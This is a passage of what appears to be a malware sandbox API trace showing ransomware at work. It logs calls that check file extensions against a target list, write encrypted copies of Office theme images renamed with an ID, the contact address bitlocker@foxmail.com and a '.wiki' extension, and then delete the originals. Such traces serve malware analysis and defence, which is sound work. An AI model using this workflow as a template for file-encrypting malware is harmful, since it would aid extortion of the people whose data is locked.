(lpString=".bz2") returned 4 [0052.503] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.503] lstrlenW (lpString=".7z") returned 3 [0052.503] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.503] lstrlenW (lpString=".dbf") returned 4 [0052.503] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.503] lstrlenW (lpString=".1cd") returned 4 [0052.503] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.503] lstrlenW (lpString=".jpg") returned 4 [0052.503] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.504] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.504] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.504] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=18817) returned 1 [0052.504] CloseHandle (hObject=0x204) returned 1 [0052.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0052.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.504] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.504] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.505] GetLastError () returned 0x0 [0052.505] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x4981, lpOverlapped=0x0) returned 1 [0052.751] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0052.752] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.752] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.752] SetEndOfFile (hFile=0x214) returned 1 [0052.752] CloseHandle (hObject=0x214) returned 1 [0052.752] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.752] SetEndOfFile (hFile=0x204) returned 1 [0052.753] CloseHandle (hObject=0x204) returned 1 [0052.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString=".doc") returned 4 [0052.754] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.754] lstrlenW (lpString=".docx") returned 5 [0052.754] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.754] lstrlenW (lpString=".pdf") returned 4 [0052.754] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.754] lstrlenW (lpString=".xls") returned 4 [0052.754] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.754] lstrlenW (lpString=".xlsx") returned 5 [0052.754] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.754] lstrlenW (lpString=".ppt") returned 4 [0052.754] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString=".zip") returned 4 [0052.754] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.754] lstrlenW (lpString=".rar") returned 4 [0052.754] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.754] lstrlenW (lpString=".bz2") returned 4 [0052.754] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.754] lstrlenW (lpString=".7z") returned 3 [0052.754] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString=".dbf") returned 4 [0052.754] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString=".1cd") returned 4 [0052.754] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString=".jpg") returned 4 [0052.754] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.755] lstrlenW (lpString=".doc") returned 4 [0052.755] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.755] lstrlenW (lpString=".docx") returned 5 [0052.755] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.755] lstrlenW (lpString=".pdf") returned 4 [0052.755] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.755] lstrlenW (lpString=".xls") returned 4 [0052.755] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.755] lstrlenW (lpString=".xlsx") returned 5 [0052.755] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.755] lstrlenW (lpString=".ppt") returned 4 [0052.755] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.755] lstrlenW (lpString=".zip") returned 4 [0052.755] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.755] lstrlenW (lpString=".rar") returned 4 [0052.755] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.755] lstrlenW (lpString=".bz2") returned 4 [0052.755] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.755] lstrlenW (lpString=".7z") returned 3 [0052.755] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.755] lstrlenW (lpString=".dbf") returned 4 [0052.755] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.755] lstrlenW (lpString=".1cd") returned 4 [0052.755] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0052.755] lstrlenW (lpString=".jpg") returned 4 [0052.755] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.755] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.756] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.331] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=19485) returned 1 [0053.332] CloseHandle (hObject=0x20c) returned 1 [0053.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0053.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.332] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.332] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.899] GetLastError () returned 0x0 [0053.899] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0053.901] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0053.902] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.902] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.902] SetEndOfFile (hFile=0x1dc) returned 1 [0053.902] CloseHandle (hObject=0x1dc) returned 1 [0053.902] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.902] SetEndOfFile (hFile=0x20c) returned 1 [0053.903] CloseHandle (hObject=0x20c) returned 1 [0053.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.903] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString=".doc") returned 4 [0053.904] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.904] lstrlenW (lpString=".docx") returned 5 [0053.904] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.904] lstrlenW (lpString=".pdf") returned 4 [0053.904] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.904] lstrlenW (lpString=".xls") returned 4 [0053.904] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.904] lstrlenW (lpString=".xlsx") returned 5 [0053.904] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.904] lstrlenW (lpString=".ppt") returned 4 [0053.904] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString=".zip") returned 4 [0053.904] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.904] lstrlenW (lpString=".rar") returned 4 [0053.904] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.904] lstrlenW (lpString=".bz2") returned 4 [0053.904] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.904] lstrlenW (lpString=".7z") returned 3 [0053.904] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString=".dbf") returned 4 [0053.904] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString=".1cd") returned 4 [0053.904] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString=".jpg") returned 4 [0053.904] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.905] lstrlenW (lpString=".doc") returned 4 [0053.905] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.905] lstrlenW (lpString=".docx") returned 5 [0053.905] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.905] lstrlenW (lpString=".pdf") returned 4 [0053.905] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.905] lstrlenW (lpString=".xls") returned 4 [0053.905] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.905] lstrlenW (lpString=".xlsx") returned 5 [0053.905] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.905] lstrlenW (lpString=".ppt") returned 4 [0053.905] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.905] lstrlenW (lpString=".zip") returned 4 [0053.905] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.905] lstrlenW (lpString=".rar") returned 4 [0053.905] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.905] lstrlenW (lpString=".bz2") returned 4 [0053.905] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.905] lstrlenW (lpString=".7z") returned 3 [0053.905] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.905] lstrlenW (lpString=".dbf") returned 4 [0053.905] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.905] lstrlenW (lpString=".1cd") returned 4 [0053.905] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0053.905] lstrlenW (lpString=".jpg") returned 4 [0053.905] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.905] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.905] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.906] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1593) returned 1 [0053.906] CloseHandle (hObject=0x20c) returned 1 [0053.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0053.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.906] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.906] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0053.908] GetLastError () returned 0x0 [0053.908] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x639, lpOverlapped=0x0) returned 1 [0053.910] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x640, lpOverlapped=0x0) returned 1 [0053.911] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.911] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.911] SetEndOfFile (hFile=0x1a4) returned 1 [0053.911] CloseHandle (hObject=0x1a4) returned 1 [0053.912] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.912] SetEndOfFile (hFile=0x20c) returned 1 [0053.912] CloseHandle (hObject=0x20c) returned 1 [0053.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0053.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.913] lstrlenW (lpString=".doc") returned 4 [0053.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.913] lstrlenW (lpString=".docx") returned 5 [0053.913] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.913] lstrlenW (lpString=".pdf") returned 4 [0053.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.913] lstrlenW (lpString=".xls") returned 4 [0053.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.913] lstrlenW (lpString=".xlsx") returned 5 [0053.913] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.913] lstrlenW (lpString=".ppt") returned 4 [0053.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.913] lstrlenW (lpString=".zip") returned 4 [0053.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.913] lstrlenW (lpString=".rar") returned 4 [0053.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.913] lstrlenW (lpString=".bz2") returned 4 [0053.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.913] lstrlenW (lpString=".7z") returned 3 [0053.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.913] lstrlenW (lpString=".dbf") returned 4 [0053.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.913] lstrlenW (lpString=".1cd") returned 4 [0053.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.914] lstrlenW (lpString=".jpg") returned 4 [0053.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.914] lstrlenW (lpString=".doc") returned 4 [0053.914] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.914] lstrlenW (lpString=".docx") returned 5 [0053.914] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.914] lstrlenW (lpString=".pdf") returned 4 [0053.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.914] lstrlenW (lpString=".xls") returned 4 [0053.914] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.914] lstrlenW (lpString=".xlsx") returned 5 [0053.914] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.914] lstrlenW (lpString=".ppt") returned 4 [0053.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.914] lstrlenW (lpString=".zip") returned 4 [0053.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.914] lstrlenW (lpString=".rar") returned 4 [0053.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.914] lstrlenW (lpString=".bz2") returned 4 [0053.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.914] lstrlenW 